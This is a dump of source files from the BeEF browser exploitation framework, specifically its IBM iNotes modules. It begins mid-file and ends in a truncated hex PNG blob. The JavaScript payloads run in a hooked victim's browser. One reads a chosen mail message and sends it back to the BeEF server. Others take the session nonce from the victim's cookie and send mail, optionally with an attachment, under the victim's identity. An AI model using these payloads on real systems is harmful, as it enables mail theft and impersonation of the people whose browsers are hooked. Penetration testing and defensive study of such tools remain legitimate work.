{ 'name' => 'body', 'ui_label' => 'Body', 'type' => 'textarea', 'value' => '' },
{ 'type' => 'textfield', 'name' => 'delay', 'ui_label' => 'Delay (ms)', 'value' => '100' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end |
JavaScript | beef/modules/misc/ibm_inotes/read_inotes/command.js | //
// Copyright (c) 2006-2023Wade Alcorn [email protected]
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var unid = '<%= @unid %>';
//get URL for this nsf databse
var currentURL = document.URL;
var rx = /(.*\.nsf)/g;
var arr = rx.exec(currentURL);
try {
var notesURL = arr[1];
var xhr = new XMLHttpRequest();
xhr.open('GET', notesURL+'/%28$All%29/'+unid+'?OpenDocument&Form=l_MailMessageHeader&PresetFields=FullMessage;1', true);
xhr.onreadystatechange = function () {
if (xhr.readyState == 4 && xhr.status == 200) {
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result="+xhr.response);
}
}
xhr.send(null);
} catch(e) {
beef.debug("Error: " + e);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Read iNotes Error: "+e);
}
}); |
YAML | beef/modules/misc/ibm_inotes/read_inotes/config.yaml | #
# Copyright (c) 2006-2023Wade Alcorn [email protected]
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
read_inotes:
enable: true
category: ["Misc", "IBM iNotes"]
name: "Read iNotes"
description: "If you have access to the origin of a victims IBM iNotes, you can use this module to read a note."
authors: ["Bart Leppens"]
target:
working: ['ALL'] |
Ruby | beef/modules/misc/ibm_inotes/read_inotes/module.rb | #
# Copyright (c) 2006-2023Wade Alcorn [email protected]
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Read_inotes < BeEF::Core::Command
def self.options
[
{ 'type' => 'label', 'name' => 'name', 'html' => 'Provide unid to retrieve details of a Note:' },
{ 'type' => 'textfield', 'name' => 'unid', 'ui_label' => 'notes unid', 'value' => '1' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end |
JavaScript | beef/modules/misc/ibm_inotes/send_inotes/command.js | //
// Copyright (c) 2006-2023Wade Alcorn [email protected]
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var to = "<%= CGI::escape(@to) %>";
var subject = "<%= CGI::escape(@subject) %>";
var body = "<%= CGI::escape(@body) %>";
//get URL for this nsf databse
var currentURL = document.URL;
var rx = /(.*\.nsf)/g;
var arr = rx.exec(currentURL);
try {
var notesURL = arr[1];
//extract nonce from ShimmerS-cookie
var cookies = document.cookie;
var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;
var arrc = rxc.exec(cookies);
var nonce = arrc[1];
var xhr = new XMLHttpRequest();
var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";
xhr.open("POST", uri, true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
var post_data = "%25%25Nonce="+nonce+"&h_EditAction=h_Next&h_SetReturnURL=%5B%5B.%2F%26Form%3Dl_CallListener%5D%5D&h_SetCommand=h_ShimmerSendMail&h_SetSaveDoc=1&SendTo="+to+"&CopyTo=&BlindCopyTo=&Body="+body+"&MailOptions=1&Form=Memo&s_UsePlainText=0&s_UsePlainTextAndHTML=0&Subject="+subject;
xhr.send(post_data);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to send note.');
} catch(e) {
beef.debug("Error: " + e);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Send iNotes Error: '+e);
}
}); |
YAML | beef/modules/misc/ibm_inotes/send_inotes/config.yaml | #
# Copyright (c) 2006-2023Wade Alcorn [email protected]
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
send_inotes:
enable: true
category: ["Misc", "IBM iNotes"]
name: "Send iNotes"
description: "If you have access to the origin of a victims IBM iNotes, you can use this module to send a note to someone."
authors: ["Bart Leppens"]
target:
working: ['ALL'] |
Ruby | beef/modules/misc/ibm_inotes/send_inotes/module.rb | #
# Copyright (c) 2006-2023Wade Alcorn [email protected]
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Send_inotes < BeEF::Core::Command
def self.options
[
{ 'type' => 'label', 'name' => 'name', 'html' => 'Send a note to someone:' },
{ 'type' => 'textfield', 'name' => 'to', 'ui_label' => 'TO:', 'value' => '' },
{ 'type' => 'textfield', 'name' => 'subject', 'ui_label' => 'Subject:', 'value' => '' },
{ 'name' => 'body', 'ui_label' => 'Body', 'type' => 'textarea', 'value' => '' }
]
end
def post_execute
save({ 'result' => @datastore['result'] })
end
end |
JavaScript | beef/modules/misc/ibm_inotes/send_inotes_with_attachment/command.js | //
// Copyright (c) 2006-2023Wade Alcorn [email protected]
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
//
beef.execute(function() {
var to = "<%= @to %>";
var subject = "<%= @subject.gsub(/"/, '\\"').gsub(/\n/, '\\n').gsub(/\r/, '\\r') %>";
var body = "<%= @body.gsub(/"/, '\\"').gsub(/\n/, '\\n').gsub(/\r/, '\\r') %>";
var filename = "<%= @filename %>";
var filedata = "<%= @filedata %>";
//get URL for this nsf databse
var currentURL = document.URL;
var rx = /(.*\.nsf)/g;
try {
var arr = rx.exec(currentURL);
var notesURL = arr[1];
//extract nonce from ShimmerS-cookie
var cookies = document.cookie;
var rxc = /ShimmerS=.*?N:([A-Za-z0-9]*)/g;
var arrc = rxc.exec(cookies);
var nonce = arrc[1];
var xhr = new XMLHttpRequest();
var uri = notesURL + "/($Inbox)/$new/?EditDocument&Form=h_PageUI&PresetFields=h_EditAction;h_ShimmerEdit,s_ViewName;($Inbox),s_NotesForm;Memo&ui=dwa_form";
xhr.open("POST", uri, true);
xhr.withCredentials = true;
var boundary = "---------------------------32162600713994";
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + boundary);
var post_data = boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"%%Nonce\"\r\n";
post_data += "\r\n";
post_data += nonce + "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"h_EditAction\"\r\n";
post_data += "\r\n";
post_data += "h_Next\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"h_SetReturnURL\"\r\n";
post_data += "\r\n";
post_data += "[[./&Form=l_CallListener]]\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"h_SetCommand\"\r\n";
post_data += "\r\n";
post_data += "h_ShimmerSendMail\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"h_SetSaveDoc\"\r\n";
post_data += "\r\n";
post_data += "1\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"SendTo\"\r\n";
post_data += "\r\n";
post_data += to + "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"CopyTo\"\r\n";
post_data += "\r\n";
post_data += "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"BlindCopyTo\"\r\n";
post_data += "\r\n";
post_data += "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"Body\"\r\n";
post_data += "\r\n";
post_data += body + "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"MailOptions\"\r\n";
post_data += "\r\n";
post_data += "1\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"Form\"\r\n";
post_data += "\r\n";
post_data += "Memo\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"s_UsePlainText\"\r\n";
post_data += "\r\n";
post_data += "0\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"s_UsePlainTextAndHTML\"\r\n";
post_data += "\r\n";
post_data += "1\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"Subject\"\r\n";
post_data += "\r\n";
post_data += subject + "\r\n";
post_data += boundary + "\r\n";
post_data += "Content-Disposition: form-data; name=\"HaikuUploadAttachment0\"; filename=\"" + filename + "\"\r\n";
post_data += "\r\n";
post_data += filedata + "\r\n";
post_data += boundary + "--";
xhr.sendAsBinary(post_data);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Attempt to send note.');
} catch(e) {
beef.debug("Error: " + e);
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Error: ' + e);
}
}); |
YAML | beef/modules/misc/ibm_inotes/send_inotes_with_attachment/config.yaml | #
# Copyright (c) 2006-2023Wade Alcorn [email protected]
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
beef:
module:
send_inotes_with_attachment:
enable: true
category: ["Misc","IBM iNotes"]
name: "Send iNotes with attachment"
description: "If you have access to the origin of a victims IBM iNotes, you can use this module to send a note to someone with a binary attachment."
authors: ["Bart Leppens"]
target:
working: ["FF","C"]
not_working: ["All"] |
Ruby | beef/modules/misc/ibm_inotes/send_inotes_with_attachment/module.rb | #
# Copyright (c) 2006-2023Wade Alcorn [email protected]
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
class Send_inotes_with_attachment < BeEF::Core::Command
def self.options
[
{ 'type' => 'label', 'name' => 'name', 'html' => 'Send a note to someone with an attachment:' },
{ 'type' => 'textfield', 'name' => 'to', 'ui_label' => 'TO', 'value' => '' },
{ 'type' => 'textfield', 'name' => 'subject', 'ui_label' => 'Subject', 'value' => '' },
{ 'name' => 'body', 'ui_label' => 'Body', 'type' => 'textarea', 'value' => '' },
{ 'type' => 'textfield', 'name' => 'filename', 'ui_label' => 'Filename', 'value' => 'BeEF_logo.png' },
{ 'type' => 'textarea', 'name' => 'filedata', 'ui_label' => 'Filedata',
'value' => '\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52\x00\x00\x00\xc8\x00\x00\x00\x95\x08\x06\x00\x00\x00\x1d\x48\xb5\xb7\x00\x00\x00\x19\x74\x45\x58\x74\x53\x6f\x66\x74\x77\x61\x72\x65\x00\x41\x64\x6f\x62\x65\x20\x49\x6d\x61\x67\x65\x52\x65\x61\x64\x79\x71\xc9\x65\x3c\x00\x00\x33\x85\x49\x44\x41\x54\x78\xda\xec\x7d\x07\x58\x54\x67\xf6\xfe\x3b\x0d\x98\x01\x86\xde\xa5\x29\x88\x02\xf6\x1e\x4b\x34\xb1\x25\x96\x98\xa8\xe9\xc9\x66\x4b\x36\xed\x97\x6c\xda\x6e\xf6\x9f\x6c\x92\xcd\xa6\xec\xa6\x57\x63\xca\xa6\x6d\x62\x9a\x25\xc6\xde\x83\x15\x6c\x28\x28\x02\x82\x48\x47\x7a\x67\x60\x66\x98\xf9\x7f\xe7\xbb\x77\xe8\x20\xe0\x80\x83\xde\xf3\x78\x1e\x87\x3b\x77\xda\xbd\xdf\xfb\x9d\x7e\x8e\x0c\xae\xa1\x90\xa8\x15\x4d\x66\x7c\x13\xe3\x7f\x30\x6e\x94\x2e\xc7\xd5\x4d\x72\xe9\x12\xb4\xa3\x1b\x19\xff\x9d\xf1\x54\xe9\x52\x48\x24\x01\xa4\x35\xa9\x19\xdf\x22\x3e\x7e\x5e\xfc\x5b\x22\x09\x20\x12\x89\x34\x81\xf1\x30\x98\xcc\xf4\x78\x36\xe3\x3f\x4b\x97\x44\x02\x88\x44\xcd\x44\x6a\x95\x02\x72\x76\x59\x0c\xdc\xfc\x78\x81\xf1\x44\xe9\xb2\x48\x00\x91\x48\xa0\x70\xe8\x8d\x58\x30\x63\x32\xfc\xfd\xbc\x80\x7a\xa3\x3b\x64\xb2\xb7\xd9\x71\x57\xe9\xd2\x48\x00\xb9\xda\x49\xc5\x38\x08\x3a\x03\xe6\xcd\x9e\x85\x07\xee\xbd\x03\x68\x30\x80\xa9\x5b\xd3\xd8\xf1\xd7\xa5\xcb\x23\x01\xe4\x6a\x27\x7b\xc6\x5a\x7a\x50\x59\x59\x85\x17\x9e\x7f\x0a\xe3\x27\x8f\x04\xaa\xea\x20\xda\x22\x4f\x49\x97\x48\x02\xc8\xd5\x4c\x0a\x91\x51\x52\x5a\xc6\x0f\xbc\xfe\xca\x3f\xa0\x0d\x60\xaa\x56\x9d\x1e\x4c\xd5\x7a\x85\x1d\xba\x4f\xba\x4c\x12\x40\xae\x56\x62\xfa\x14\xea\x19\x10\x50\x70\xa1\x90\x1f\xb8\xee\xba\xe9\x78\xfe\xf1\x87\x98\xf2\xc5\x2e\x53\xbd\xc1\x81\x1d\xfa\x88\xf1\x22\xe9\x52\x49\x00\xb9\x1a\x89\xc0\x51\x06\x85\x0c\xe9\x99\x59\x30\x1a\x8d\xfc\xe0\xd3\x4f\x3d\x8c\x87\x7f\x7f\x27\x83\x0f\xfb\xbb\xd1\xe4\xc8\x0e\x7d\xcb\xf8\x66\xe9\x72\x49\x00\xb9\xda\xc8\x04\xb3\x39\x03\x4a\x05\xb2\x2e\x14\xe1\x6c\xea\xb9\xa6\x27\x56\x7c\xf8\x1f\x2c\xbd\xf9\x06\xa0\xa6\x81\x8c\x76\x17\x76\xe8\x6b\xc6\x77\x49\x97\xec\x6a\xd0\xbb\x1d\xdc\xa4\xab\xd0\x4c\x21\x50\xc8\x17\xea\x2a\x6b\x30\x38\x28\x00\xd7\x5c\x33\xa1\xe9\x89\x79\x73\x67\x21\xf9\x6c\x1a\x52\x13\x52\x01\x3b\xa5\x3d\x93\x36\x0c\x31\x20\x0b\x3e\x4e\xba\x6c\x12\x40\xae\x22\x35\x0b\x7f\x40\xad\x5e\xd9\x28\x33\xe1\xde\xbb\x6f\x6d\x7a\xc2\xc1\xc1\x1e\x4b\x16\xcf\x43\x52\x4a\x0a\x52\x08\x24\x0a\xb9\x8a\x49\x9b\x79\xec\x29\xba\x80\xfb\x45\x1b\x46\x22\x09\x20\x57\x34\x95\x82\x52\x4c\x64\xb2\xe0\xfc\x8a\x0a\x4c\x1a\x35\x02\x43\x86\x84\x34\x3d\xa9\x54\xa9\xb0\x64\xd1\x3c\x14\x15\x17\x23\xfe\xc4\x69\xc0\x68\x62\x07\xe5\x94\xfd\x3b\x51\x04\x49\x85\x74\x09\x25\x80\x5c\xc9\x44\x49\x58\x1e\x6c\xd1\xcf\x6d\x2c\xad\x81\xd1\x6c\xc4\xd2\x5b\x16\xb6\x3a\x81\x40\xb2\x88\x81\x44\x66\x32\x61\x5f\x42\x02\xcc\xe5\xb5\x4c\xbc\xa8\x06\xb3\xa7\xe8\xc4\x4c\xc6\x67\xa5\xcb\x28\x01\xe4\x4a\x97\x22\xb7\x40\x2e\xd7\xa6\xe6\xe6\x62\xea\xd8\x51\x08\x0d\x0d\x6e\x77\xd2\xcc\x6b\xaf\x41\x64\x70\x10\x8e\x9c\x4a\x44\x65\x5e\x29\xd9\x25\x94\x96\xb2\x0c\x42\x06\x70\x9c\xa4\x72\x49\x00\xb9\x92\x01\x42\xc6\xfa\x24\x53\x59\x0d\x2e\x14\x15\xe2\x9e\xbb\x96\x77\x78\x62\x54\xd4\x30\xcc\x9e\x39\x0d\xe9\xe7\x33\x90\x91\x7a\x1e\x68\x34\x2b\x18\x50\xa6\xb3\xa7\xe6\x32\x4e\x66\x9c\x2d\x5d\x4e\x09\x20\x57\x22\x91\xaa\x74\x07\x33\xc2\xd5\xe7\x32\x73\xe0\xa1\x75\xc6\xa4\x49\x63\x3b\x3c\xd1\xdb\xdb\x8b\x03\xa8\xa1\x5e\x87\x84\xb4\x34\xe8\x8b\xab\x00\x7b\x95\x3f\x33\xf6\x6f\x87\x90\xba\x92\x00\xc1\xdb\x25\x91\x04\x90\x2b\x86\x4a\x18\x3b\x33\x29\x32\x03\x0d\x46\x9c\x3a\x9b\x8a\x39\x33\xa7\xc3\xc7\xc7\xab\xd3\x17\xcc\xbe\x7e\x06\xae\x19\x37\x06\xa9\x19\xe7\x90\x9b\x91\x43\x06\xbc\x8a\x49\x93\x69\xa2\x34\x29\x15\x25\x8a\x44\x12\x40\xae\x18\x3a\xc3\x78\x1e\x54\x0a\x9f\xaa\xfc\x52\xa6\x46\x9d\xc7\xed\xb7\x2e\x81\x42\xa1\xe8\xf4\x05\x21\x21\x81\xb8\x7d\xf9\x62\x86\x2b\x39\x4e\x9d\x4b\x47\x7d\x51\x05\xb3\xea\x15\xbe\x90\xcb\x48\x47\x1b\xc5\x98\xe9\x61\xc8\x93\x2e\xad\x04\x90\x2b\x81\x6a\x19\x17\x30\xbe\x9d\x49\x02\x64\xa4\x65\xa1\xa6\xba\x1a\xf3\xe6\xcd\xea\xf2\x45\x76\x76\x76\x98\x35\x6b\x1a\x66\x4c\x1a\x8f\xc2\x92\x62\x9c\xcd\xcc\x16\x22\xf0\x76\xca\x61\x0c\x28\x64\xc4\xfb\x88\xd2\xa4\x52\xba\xc4\x12\x40\x06\x3a\xa5\x30\xf6\x82\x5c\x3e\x11\x66\x33\xe2\x4e\x25\xc1\xdf\xcd\x1d\xe3\xc6\x8d\xba\xe8\x0b\x03\x03\x03\x70\xe7\xed\xb7\x20\xd8\xd7\x07\x19\x39\xd9\x28\xca\x62\x58\x33\x9b\xd5\x4c\xa2\x4c\xe1\xa0\x63\xb2\x45\x94\x52\xf5\xd2\x65\x96\x00\x32\x90\x89\x5c\xb6\x33\x98\xde\x14\x88\xda\x06\x1c\x3c\x71\x02\xe3\x47\x46\x61\xf0\xe0\xe0\x6e\xbd\x78\xcc\x98\x11\x58\xb2\x70\x1e\x4c\x66\x13\x52\xb3\xb2\x04\xb5\x4b\x21\x77\x66\x40\xa1\x9a\xf7\x85\x22\x40\x08\x88\x46\xe9\x52\x4b\x00\x19\x88\xa4\x63\x7c\x02\x94\xc1\x6b\xa7\x74\xac\x2f\xae\xc2\xfe\xa3\x47\x30\x73\xea\x64\xf8\xfa\x7a\xb7\x3a\xb1\xa2\xa2\x02\xb9\xb9\xf9\xd0\x68\x98\xa0\x50\x2a\x9b\x8e\x3b\x3b\x3b\x71\xd5\x6c\xfe\xac\xe9\x28\x2e\x2d\x41\x72\x76\x2e\x3b\xb9\x8e\xd4\x2e\x6f\xc8\x64\xd4\x83\x6b\x0e\xe3\x62\x08\xde\x33\xa9\x17\x97\x04\x90\x01\x47\x64\x8b\xe4\x30\x5e\x00\x7b\xa5\xaa\x22\xb7\x04\xb1\xc7\xe3\x31\xf7\xfa\x19\x70\x73\x6b\x2e\x57\x77\x70\x70\xc0\xf1\xe3\x89\xd8\xb8\x71\x07\xdc\x5c\x5d\xe0\xe5\xe5\xd1\xea\x4d\x08\x50\xcb\x96\x2e\xc4\xc8\xb0\x21\x38\x9f\x97\x8d\xfc\xec\x0b\x42\x59\xaf\x9d\x32\x80\x3d\x4d\xf6\xc9\x04\xf1\x73\xb2\xa4\x4b\x2e\x01\x64\xa0\x51\x12\x63\x66\x6d\x63\x2e\xec\x55\x28\x3c\x9f\x87\xa3\xf1\x27\x30\x7b\xd6\x0c\xb8\xba\xba\x34\x9d\x44\xb9\x5b\x79\xb9\x05\x78\xe3\x9d\x15\xc8\xc9\xca\xc3\xb4\x69\x93\x5a\xbd\x89\x4c\x26\x47\x64\x64\x04\x6e\x5f\x76\x13\x34\x0e\xf6\x48\xcb\xc9\x42\x55\x7e\x19\x98\x01\x2f\x67\xaa\x57\xb8\x68\x9f\x0c\x85\x90\xb2\x52\x2c\x5d\x76\x09\x20\x03\x89\x0e\x71\xa3\x5d\x86\x89\x70\x50\x21\x37\x2d\x07\x71\xf1\x4c\x92\x5c\x37\x1d\x2e\x2d\x40\x12\x15\x15\x81\x41\x7e\xbe\xf8\xe0\x93\x2f\xf1\xe9\x7f\xbf\x85\x8f\x87\x27\x86\x0d\x0b\x6f\xf5\x46\xf6\xf6\xf6\x98\x31\x63\x0a\x16\xce\xbb\x0e\xd5\x35\x35\x38\x9d\x99\x29\xe4\x75\xa9\x14\x2a\x06\x14\xf2\x02\xdc\xc1\xd8\x9d\x71\x22\x04\x8f\x9a\x44\x12\x40\x06\x04\xfd\xc6\x38\x8c\x71\x34\x49\x92\xdc\xb4\x2c\x9c\x4c\x4a\x62\x20\x99\x01\x67\xad\x73\xd3\x49\x21\x21\x41\x58\x74\xc3\x1c\xec\xd8\xf9\x1b\x5e\x7d\xf7\x13\x9c\x38\x76\x02\x43\x42\x82\x11\x30\xc8\xaf\xd5\x9b\x79\x78\xb8\x63\xc9\x4d\x37\x60\xd2\x88\x28\xe4\x14\xe4\x23\x2b\x33\x8f\x99\xed\x7a\x52\xbb\x28\xa7\x8b\x02\x8d\xd4\xe9\xb1\x4e\x94\x60\x92\x7d\x22\x01\xc4\xe6\x89\xbc\x4d\x3b\x19\x8f\x60\x92\x64\x28\x81\x24\x33\xf9\x3c\xe2\x8e\x1f\xc7\xec\x99\xd3\x5b\xa9\x5b\x4e\xcc\x38\xbf\xfb\xae\xe5\x28\x29\x28\xc4\x77\xdf\xae\xc5\xf7\x9b\xb6\x20\x3f\x33\x17\x11\x43\x87\xc0\xdd\xbd\xf5\x75\x0f\x0b\x0b\xc5\x6d\xcb\x6f\x86\xbb\xd6\x09\x69\xd9\x59\x20\x3b\x87\xea\xe3\x99\x44\x21\x29\xb2\x98\x31\xb9\x87\xd3\x18\xe7\x4a\xb7\x40\x02\x88\xad\x13\xd9\x22\xbb\x40\x75\x20\x32\x84\x10\x48\x72\xce\x66\x21\xf6\xd8\x71\xcc\xb9\xae\xb5\x4d\x42\x74\xe3\x8d\xb3\xe1\xec\xa8\xc1\xe6\xdf\xf6\xe3\xe8\xfe\x38\xac\xd9\xb6\x03\xe5\x85\xa5\x18\x39\x22\x12\x1a\x76\xdc\x42\x2a\x95\x12\x53\xa6\x4c\xc0\x92\x85\xf3\x51\x59\x5d\x85\x53\xe7\xcf\xc3\x5c\x56\x4b\xb9\x5d\x0c\x2c\x18\x2c\xaa\x5d\xf4\xe6\x47\xc5\xef\x20\x91\x04\x10\x9b\x25\xb2\x0b\x76\x80\x3c\x4f\x32\x04\x93\x4d\x92\x97\x96\xcd\x24\x49\x3c\xcf\xf0\x75\x75\x6b\xdd\x8c\x91\xca\x77\x87\x06\x05\x62\x2f\x7b\xbe\x88\x19\xf8\xfb\xe3\xe2\xb1\x79\xc7\x2e\xca\x00\xc6\xa8\x51\x51\x50\xb6\x48\x61\x71\x75\xd5\xe2\xa6\xc5\xf3\x31\x3e\x2a\x12\xe9\x99\x19\xc8\x63\xe7\xf3\x7e\xc1\x4a\x05\x35\xb7\xa3\xf6\xa8\x54\xc9\x48\xb1\x13\xc9\xdb\x25\x01\xc4\xa6\xa9\x9a\xf1\x56\xc6\xe3\xc9\xec\x10\x6c\x92\x1c\xb6\xf8\xe3\x30\x65\xc2\x38\xf8\xb4\x89\x93\x8c\x18\x31\x1c\x11\x83\x43\x11\x73\xe4\x18\x6a\x4a\xab\x50\x5c\x5c\x86\x2d\xbb\xf7\x61\x6f\xcc\x3e\xf8\x78\x79\x23\x3c\x7c\x70\xab\xf3\xe9\xef\x5b\x97\x2e\x86\xd1\x60\x40\xfc\xd9\xb3\x30\x96\xd5\x30\xdb\x84\x4b\x13\x32\x64\x28\xbf\xcb\xc4\xf8\xb0\xf8\xbf\x44\x12\x40\x6c\x56\x92\xec\x6a\x29\x49\x0a\x32\xf2\xb0\xef\xc8\x11\x5c\x3b\x75\x12\x4f\x87\x6f\x49\xc3\x22\xc2\x30\x69\xcc\x28\xec\x8e\x8d\x45\x65\x49\x15\xa0\xb1\x43\x76\x6a\x16\x7e\xda\xb9\x0b\x29\x09\x49\x18\xc5\xd4\x2e\x77\x8f\xe6\x7b\x42\xb5\xf0\x73\xe7\xcc\xc4\x84\xe8\x48\x9c\x4e\x3b\x8b\x0b\x19\xf9\x14\x89\x27\xb6\x83\xd0\x81\x7e\x38\xe3\x83\x22\x58\x25\x92\x00\x62\xb3\x92\x64\x0b\xe3\x31\x8c\x07\x13\x48\x8a\x33\x0b\xb0\x63\xdf\x01\x8c\x1c\x3e\x0c\x21\xa1\x41\xad\x4e\x0e\x0e\x1e\x84\x31\xd1\x51\xd8\xbc\x37\x06\x75\x94\x7a\xe2\xaa\x81\x59\xd7\x80\xd3\x27\x92\xb0\x66\xeb\x36\xd4\x55\xd6\x60\xc2\xf8\xd1\x50\x91\xb4\x68\x61\xc4\xdf\x7a\xcb\x22\x14\x16\x15\x21\x21\x85\xd9\xea\x3a\x03\x19\xf0\xf4\x54\xa4\xa8\x72\x91\x24\x29\x90\x6e\x85\x04\x10\x5b\x96\x24\x9b\x18\x47\x90\xa0\x20\x90\x94\xe7\x14\x61\x0f\x53\xb7\xc6\x8e\x88\xe2\xa9\xf0\x2d\x89\xfe\x1e\x16\x12\x8c\x9d\x4c\x92\xe8\x4a\x2a\x99\x24\xb1\xe7\xc6\x78\x0d\x93\x2a\xbf\xed\x8d\x45\xcc\xfe\x83\xf0\xf7\xf1\x69\xa5\x76\xa9\xd5\x6a\xee\x12\x76\x65\xff\xc7\x26\x26\xa2\x81\x8a\xb3\xd4\x24\x48\x40\xba\xdc\x02\x08\x31\x93\xf3\xd2\xad\x90\x00\x62\xab\x44\x79\x5b\x1b\x21\xa4\xb4\x8f\xa5\xc5\x5b\x95\x57\x8a\x9d\x87\x0e\x61\x34\x33\xb8\x43\xdb\x48\x92\x88\x61\xe1\x08\xf2\xf5\xc5\x66\x06\x06\x63\x65\x2d\xc5\x3e\x04\xa9\xa0\x54\x20\x27\x2d\x0b\x3f\xee\xdc\x8d\xa2\xec\x7c\x4c\x9c\x30\xa6\x95\xb7\x6b\xf2\xe4\xf1\x18\xc3\x24\x53\xdc\xc9\x13\x1c\x84\x04\x46\x08\xd5\x8b\xd4\x16\x95\xf2\xc6\xce\x49\xb7\x42\x02\x88\xad\x92\x41\x54\xb7\xa8\x5b\xfc\x34\x02\x49\x75\x7e\x29\x97\x24\xe3\x3a\x90\x24\xd1\xd1\xc3\xe1\xe7\xe6\x86\x2d\x87\x62\x61\xaa\xae\x17\x40\x22\x03\x5f\xf4\x66\x9d\x1e\x47\x63\xe3\xb1\x67\xff\x01\x0c\x09\x0e\x6e\x95\x41\x1c\x16\x1e\xca\x13\x26\x0f\x33\x90\x5c\x38\x97\x67\x71\x05\x53\x70\xf1\x46\x51\xdd\x92\x3c\x5c\x12\x40\x6c\x96\xa8\x7d\xd0\x6f\x10\xba\xc5\xcf\xa0\xc5\x4e\x55\x89\x3b\x0e\x1e\xc4\xf8\x11\xd1\xed\x40\x32\x76\xec\x48\x38\x2b\x55\xd8\x7e\xe8\x30\x35\xc9\xa6\x5e\x5b\xe2\xdd\x91\x73\xaf\x55\xc1\xb9\x5c\xac\x66\xd2\xc4\x58\x53\x87\x99\x3